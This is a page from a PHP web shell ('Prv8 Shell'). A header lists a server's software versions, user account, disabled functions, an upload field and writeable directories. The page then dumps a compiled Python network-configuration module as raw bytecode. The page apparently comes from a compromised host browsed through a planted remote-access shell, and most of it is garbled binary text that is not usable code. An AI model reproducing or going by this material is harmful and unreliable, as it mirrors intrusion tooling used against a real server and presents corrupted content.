Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /usr/share/system-config-network/netconfpkg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/system-config-network/netconfpkg/NC_functions.pyo
OLc@sddkZddkZddkZddkZddkZddkZddkZddkl	Z	l
Z
ddklZddk
Z
dZeeZyeieidWnDeij
o5ZddkZdeid<eieidnXeieeieieiedeied	Zeeid
<dadZdZd
Z dZ!dZ"e"dZ#e"dZ$dZ%dZ&dZ'dZ(dZ)edddgedjo
dZ*ndZ*dZ+dZ,dZ-dZ.ed Z/d!Z0d"Z1d#Z2d$Z3d%Z4d&Z5d'Z6d(Z7d)Z8d*Z9e0e1e2e3e4e5e6e8e9g	Z:d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9gZ;he0d:6e1d;6e2d<6e2d=6e6d>6e3d?6e9d@6e5dA6Z<edBZ=edCZ>dDZ?dEZ@dFZAhedGe?6edHe@6edIeA6ZBdJZCeDaEdKZFdLZGdaHdMZIdNZJdaKdOZLdPZMdQeNfdRYZOdSdTZPdUZQddVZRddWZSeiTdXZUeiTdYZVeiTdZZWd[ZXd\ZYd]ZZda[d^Z\da]d_Z^d`Z_e0ddaZ`e0dbZadcZbddZcdeZddfZeddgZfdhZgdiZhdZidjZjdkZkdlZldmZmdnZndoZodpZpdqZqdrZrdsZsdatddtdddduZudavddvddddwZwdaxddvddddxZydazddyddddzZ{da|ddydddd{Z}da~dd|dd}dddddd~	Zdadd|dd}ddZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdefdYZdZd|adZdZdZde	i	fdYZeDaeDdZdZdS(iN(tConfShellVartConfPAP(tLogFilessystem-config-networkttCtLC_ALLs/usr/share/localecCs
ti|S((tgettexttlgettext(tx((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt<lambda>.st_cCsttpiti\}}}}}|iddjo|idd\}}n|}|iddantS(Nt-iit.i(t_kernel_versiontostunametfindtsplit(tsysnametnodenametreleasetversiontmachinetvertrel((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytkernel_version3scCsvxodD]g}||||joLy t||t||SWqn||||jodSdSqnXqqWdS(Niiiii(iii(tint(tv1tv2ti((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytcmp_kernel_version?s s!/usr/share/system-config-network/s/etc/sysconfig/network-scripts/s/etc/sysconfig/networking/sdevices/s	profiles/s/etc/sysconfig/networks/etc/wvdial.confs
/etc/hostss/etc/resolv.confs/etc/pppiiis/etc/modprobe.d/network.confs/etc/modules.confs/etc/sysconfig/hwconfs/etc/sysconfig/isdncards/etc/ppp/pap-secretss/etc/ppp/chap-secretstCommontEthernettModemtISDNtLoopbacktxDSLtWirelesst	TokenRingtIPSECtQETHtHSIs
/dev/modems
/dev/ttyS0s
/dev/ttyS1s
/dev/ttyS2s
/dev/ttyS3s
/dev/ttyI0s
/dev/ttyI1s
/dev/ttyI2s
/dev/ttyI3s/dev/input/ttyACM0s/dev/input/ttyACM1s/dev/input/ttyACM2s/dev/input/ttyACM3s
/dev/ttyM0s
/dev/ttyM1s^eth[0-9]*(:[0-9]+)?$s^ppp[0-9]*(:[0-9]+)?$s^ippp[0-9]*(:[0-9]+)?$s^isdn[0-9]*(:[0-9]+)?$s^tr[0-9]*(:[0-9]+)?$s^lo$s^hsi[0-9]*(:[0-9]+)?$s^wlan[0-9]*(:[0-9]+)?$tActivetInactivetCRTSCTStXONXOFFtNOFLOWsHardware (CRTSCTS)sSoftware (XON/XOFF)tNonecOsdS(N((targstkwargs((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytnopscCs
|adS(N(t_testenv(tval((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
setTestEnvscCstS(N(R3(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
getTestEnvscCsti||adS(N(tlogtset_loglevelt_verbose(tl((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytsetVerboseLevels
cCstS(N(R9(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgetVerboseLevelscCs
|adS(N(t_debug(R:((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
setDebugLevelscCstS(N(R=(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
getDebugLevelst	TestErrorcBseZddZRS(cCsti||dS(N(t	Exceptiont__init__(tselfR0((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRBsN(t__name__t
__module__R/RB(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR@sicCsmddk}d}tdd}|idt|i|}x|D]}|d|}qGW|i|S(NiRs/dev/randomtrbs%dBs%02x(tstructtfiletunpacktlentreadtclose(tmlenRGtkeytftcharsR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
gen_hexkeys
c	Cs|pdSyddk}|id}|i|i|iB|i|it|djo
|g}n|}xW|D]O}|i	d|}x4|D],}||i
|jo|i|PqqWqW~|SWndSXdS(Nit/itname(R/trpmtTransactionSett
setVSFlagstRPMVSF_NORSAtRPMVSF_NODSAtsetFlagstRPMTRANS_FLAG_NOMD5RJtdbMatchtRPMTAG_NAMEtremove(tnamelistRTttst	toinstallRStmitn((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytrpms_notinstalleds,


cCsYt|}t}|o<t|o/di|}ttd|dd}|S|S(Ns
sLShall the following packages, which are needed on your system, be installed?tdialog_typetquestion(RctRESPONSE_NORJtjointgeneric_longinfo_dialogR
(tpkgsR`trtplist((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytassure_rpmsscCsQt|}|o:t|o-di|}ttd|dddSdS(Ns
sLYou have to install the following packages, which are needed on your system!Rdtinfoii(RcRJRgRhR
(RiR`Rk((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytrequest_rpmss
s ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$s}^([a-zA-Z]|[0-9]|_)(([a-zA-Z]|[0-9]|-|_)*([a-zA-Z]|[0-9]|_))?(\.([a-zA-Z]|[0-9]|_)(([a-zA-Z]|[0-9]|-|_)*([a-zA-Z]|[0-9]))?)*$s/^[a-zA-Z0-9-_]{1,64}(\.([a-zA-Z0-9-_]{1,64}))*$cCsg|ptSt|djoDti|otSti|ptSti|ptStSdS(Ni(tFalseRJt
ip_patterntmatchtlength_patternthostname_patterntTrue(thostname((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyttestHostnamescCs|id}t|djoCd}x>|D].}|d9}y|t|7}Wq/q/Xq/WndSd}x/|o'|d@o|d7}n|d?}qrW|S(NRiiii(RRJtlong(tnetmasktvalsR4tbits((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytnetmask_to_bitss$
cCsyt|}WndSXd|}td}x*|o"|d>}|dB}|d8}q4Wx |o|d>}|d8}qaWt|d?dt|d?d@dt|d	?d@dt|d@}|S(
NRi iiiRiii(RRwtstr(RztremRxtnetstr((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytbits_to_netmask s$



=cCsBtdjptittjotittantS(N(t	DVpapconfR/tfilenametgetRoottPAPFILER(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
getPAPConf:s$cCsBtdjptittjotittantS(N(t
DVchapconfR/RRtCHAPFILER(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgetCHAPConfBs$c	Cs|}d}x|D]}|i|jot|ddot|i}|io|d|id7}ny |i|i}|||<Wn|i|nX|o|i|jo
|}qqqW|p0|o
|}qt|o|d}qn|i	||fS(NtMasters (t)i(
R/tTypetgetattrR|tNametDescriptiontindextappendRJtsort(	thardwarelisttdevnametmtypetdefault_devicesthwdescthwcurrthwtdescR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytcreate_comboJs,$



cCsxtidd|}g}x.tddD]}|i|t|q+W|pt|||d|Sd|fSdS(Ns[0-9]*(:[0-9]+)?$Rii	R(tretsubtxrangeRR|RR/(RRRtnewtdevbaseRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytcreate_generic_combofsc	Cs7ddddddddd	g	}t|||d
|S(Nteth0teth1teth2teth3teth4teth5teth6teth7teth8R(R(RRRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytcreate_ethernet_comboss
		c	Cs:ddddddddd	g	}t||d
td|S(Nttr0ttr1ttr2ttr3ttr4ttr5ttr6ttr7ttr8RR(Rt	TOKENRING(RRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytcreate_tokenring_combo|s
		cCs3tii|oti|ddjSdSdS(Nii(RtpathtisfiletstatR/(tmfile((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
ishardlinkscCs@y"ti|}ti|}WntSXtii||S(N(RRRoRtsamestat(tfile1tfile2ts1ts2((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt
issamefilescCs|tjo|St|S(N(tdeviceTypest
getDeviceType(R((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgetHardwareTypes
cCs	|tjo|S|djotStd}|}|p
|djo|Sx5tiD]'}ti||ot|}q]q]W||jo2y$ti|}|o
t	}nWqqXn|t	jo1y#ddk
}|i|t}WqqXn|S(NtqethtUnknownRi(
RR(R
t__deviceTypeDicttkeysRtsearchtethtoolt
get_hwaddrtETHERNETtiwlibtget_iwconfigtWIRELESS(RtmoduletUNKNOWNRRthwaddrR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRs6






cCs?g}x2|D]*}|i|jo|i|iq
q
W|S(N(tDeviceRtDeviceId(t
devicelisttdevtnicknametd((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgetNickNamescCsOg}d}d}x|D]}|i|ijo[|i|i|itjo7|iidjo$|iio|i|iiqq|itjo4|iidjo!|iio|i|iqqW|itjo'|iidjo
d}qd}nd}x6|t	||jo|d}q|t	|SqdS(Nitsyncppptippptisdntpppi(
R/RRRR"tDialupt	EncapModetChannelBundlingtSlaveDeviceR|(RRtdlisttcounttdeviceR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgetNewDialupDevices0



iiiiiiiiiitwarningcCs4to$tdt|f|||||S|GHdS(Ns%s:

%si(tgeneric_error_dialog_functPROGNAME(tmessaget
parent_dialogRdtwidgettpaget
broken_widget((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_error_dialogs	RmcCs4to$tdt|f|||||S|GHdS(Ns%s:

%si(tgeneric_info_dialog_funcR(RRRdRRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_info_dialogs	cCs7to'tdt|f||||||S|GHdS(Ns%s:

%si(tgeneric_longinfo_dialog_funcR(Rtlong_messageRRdRRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRh
s	RecCs4to$tdt|f|||||S|GHdS(Ns%s:

%si(tgeneric_yesnocancel_dialog_funcR(RRRdRRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_yesnocancel_dialogs	cCs4to$tdt|f|||||S|GHdS(Ns%s:

%si(tgeneric_yesno_dialog_funcR(RRRdRRR((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_yesno_dialog*s	RRicCsCddk}to<t||||||ddt|fd|d|	d|
Sti||tipt|dn|GH|GHtidd	|d
i|fti	\}}
ti
}|p|o|djoti|nt|t
o%x2|D]}ti|
|qWnti|
|ti|
ti||djoti|n|o!ti|dti|n|oti||nti||tidnyti|
d
}d}x|oyy(|i|gggd\}}}Wn
g}nXt|o0ti|d}tii|||}qqWWn9tj
o-}yti|dWnnX|nXti|yti|d\}}Wntj
o\}}nXti|o)ti|djoti|}nd}||fSdS(Nittitles%s:

%stlabelterrlabeltdialogs can not be runis
Running %s %st RRiRt1g?idi(tselecttgeneric_run_dialog_funcRRtaccesstX_OKtRuntimeErrorR7Rgtpipetforktchroott
isinstancettupletdup2RLtexecvptexecvtsystexitRJRKtstdouttwriteRAtkilltwaitpidtOSErrort	WIFEXITEDtWEXITSTATUS(tcommandtargvt
searchPathtroottstdintcatchfdtclosefdRRRRRRKRtchildpidtfdtrctstfdintfdouttfderrtetpidtstatusterrnotmsg((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_run_dialog8s
#



(


&cCsddk}tot||||||Sti||tipt|dntidd||ifti\}}	ti	}
|
p|o|djoti
|nt|to%x2|D]}ti
|	|qWnti
|	|ti|	ti||djoti|n|o!ti
|dti|n|oti||nti||tidnyti|	d}d}
x|
oyy(|i|gggd	\}}}Wn
g}nXt|o0ti|d
}
tii|
||
}qqWWn9tj
o-}yti|
dWnnX|nXti|yti|
d\}}Wntj
o\}}nXti|o)ti|djoti|}nd}||fSdS(Nis can not be runis
Running %s %sRRiRRg?idi(Rtgeneric_run_funcRRRRR7RgRRRRRRRLRRRR	RJRKR
RRARR
RRR(RRRRRRRRRKRRRRRRRRRR R!R"R#((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytgeneric_runst 






&cCs
|adS(N(R(tfunc((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytset_generic_error_dialog_funcscCs
|adS(N(R(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytset_generic_info_dialog_funcscCs
|adS(N(R(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt set_generic_longinfo_dialog_funcscCs
|adS(N(R(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt#set_generic_yesnocancel_dialog_funcscCs
|adS(N(R(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytset_generic_yesno_dialog_funcscCs
|adS(N(R(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytset_generic_run_dialog_funcscCs
|adS(N(R%(R'((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytset_generic_run_funcscCstii|ptii|pdSy%ti|tidd|Wn5tj
o)}ttd|t	|fnXdS(Nisrm %ssError removing
%s:
%s!(
RRRtislinktunlinkR7RRR
R|(Rterrstr((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR0s&
cCsytii|pdSy%ti|tidd|Wn5tj
o)}ttd|t|fnXdS(Nisrmdir %ssError removing
%s:
%s!(	RRtisdirtrmdirR7RRR
R|(RR1((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR3	s
cCstii|pdSyMti||ytid|WnnXtidd||fWnt||nXdS(Ns#/sbin/restorecon %s >/dev/null 2>&1isln %s %s(RRRtlinktsystemR7tsymlink(tsrctdst((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR4scCstii|pdSy]ti||ti||ytid|WnnXtidd||fWn>tt	fj
o,}t
td||t|fnXdS(Ns#/sbin/restorecon %s >/dev/null 2>&1iscp %s %ssError copying 
%s
to %s:
%s!(
RRRtshutiltcopytcopymodeR5R7tIOErrorRRR
R|(R7R8R1((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR:"scCstii|pdSy.ti||tidd||fWn8tj
o,}ttd||t|fnXdS(Nisln -s %s %ssError linking 
%s
to %s:
%s!(	RRRR6R7RRR
R|(R7R8R1((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR61scCstii|otii|odSy.ti||tidd||fWnAtttfj
o,}t	t
d||t|fnXdS(Nismv %s %ssError renaming 
%s
to %s:
%s!(RRRR2trenameR7R<RtEnvironmentErrorRR
R|(R7R8R1((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR=;s(c	Csy%ti|tidd|Wn5ttfj
o#}ttdt|nXytid|WnnXdS(Nismkdir %ssError creating directory!
%ss#/sbin/restorecon %s >/dev/null 2>&1(	RtmkdirR7R<RRR
R|R5(RR1((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyR?Es
cCsK|}tii|ptt}n|Stii|pdS|SdS(N(RRtexistst
NETCONFDIRRHR/(Rtfn((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytget_filepathSstConfDevicescBseZddZRS(cCs>ti||djott}n|d7}yti|}Wntj
onXx|D]}t|djo|d djoti	i
||o||ddjoq|iddjo[|iddjoE|iddjo/ti||ti
o|i|dqeqeW|idS(	NRRisifcfg-it~s.rpmsaves.rpmnews-range(tlistRBR/RtSYSCONFDEVICEDIRRtlistdirRRJRRRRtR_OKRR(RCtconfdirtmdirtentry((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRB`s(


N(RDRER/RB(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRD_scCst|ptSti|tip'tii|ptii|otS|ddjotSt|djo|d djotSt|djo|d djotSt|djo|d djotStS(NiREis.rpmnewis.rpmsaves.rpmorig(	RJRoRRRIRRR/Rt(R((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyttestFilenamews
$$$cCs
|adS(N(t__root(R((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytsetRootscCstS(N(RN(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRscCsutiddt|xTddtttttfD]7}tii	|d|pt
|d|q6q6WdS(Nis
prepareRoot()s/etcs/etc/sysconfigRR(R7ROtSYSCONFNETWORKINGtOLDSYSCONFDEVICEDIRRGtSYSCONFPROFILEDIRtPPPDIRRRR2R?(RRK((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytprepareRoots
	tConfKeyscBseZdZRS(cCs3tii|ttd||iddS(Nskeys-i(RRBRRGtchmod(RCRS((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRBs(RDRERB(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyRUsc
Cstiddto
|odStitdtip tiddtddSttt}tii	tt
dpt}ttt
dnd}|p8t
i
tt}|ido|d}qnttt}x|D]}|d	joqnttd
|}ttd
|}t||oqntttd
|t||tidtd||ftt
d|d
|}t|t||qWxhd
t6dt6iD]r\}	}
t|	}tt
d||
}tii|pt||ot|t||qqWtadS(NisupdateNetworkScripts()RRsCannot write to %ss	/default/s/defaulttdefaulttCURRENT_PROFILEtlos/ifcfg-is3Linking %s to devices and putting it in profile %s.s/resolv.confs/hosts(R7t__updatedNetworkScriptsRRRtW_OKRTRoRR2RRRtR?RtSYSCONFNETWORKthas_keyRDRQRGRR0R4R
t
RESOLVCONFt	HOSTSCONFtitemsR(
tforcet	firsttimet	curr_proftnwconftdevlistRtocfiletdfiletpfileRtcfilethostfiletconffile((s;/usr/share/system-config-network/netconfpkg/NC_functions.pytupdateNetworkScriptssT





%
s Harald Hoyer <harald@redhat.com>(t__builtin__RtlocaleRtos.pathRRR9tnetconfpkg.confRRtnetconfpkg.logRRRR7t	setlocaleRtErrorRtenvirontbind_textdomain_codesettnl_langinfotCODESETtbindtextdomaint
textdomainR
t__dict__R/R
RRRARQRPRGRRR\t
WVDIALCONFR_R^RStMODULESCONFtHWCONFtISDNCARDCONFRRtDEFAULT_PROFILE_NAMERtMODEMR"tLOtDSLRRR'R(R)RtmodemDeviceListRtACTIVEtINACTIVER,R-R.tmodemFlowControlsR2RoR3R5R6R9R;R<R=R>R?RAR@RQRcRlRntcompileRpRsRrRvR{RRRRRRRRRRRRRRRt
RESPONSE_NONEtRESPONSE_REJECTtRESPONSE_ACCEPTtRESPONSE_DELETE_EVENTtRESPONSE_OKtRESPONSE_CANCELtRESPONSE_CLOSEtRESPONSE_YESRftRESPONSE_APPLYt
RESPONSE_HELPRRRRRRhRRRRRR$R%R&R(R)R*R+R,R-R.R0R3R4R:R6R=R?RCRFRDRMRNRORRTRURZRlt
__author__(((s;/usr/share/system-config-network/netconfpkg/NC_functions.pyt<module>sZ

	
		


"
!


							
	
						
					&		!	UN												
	
							A

haha - 2025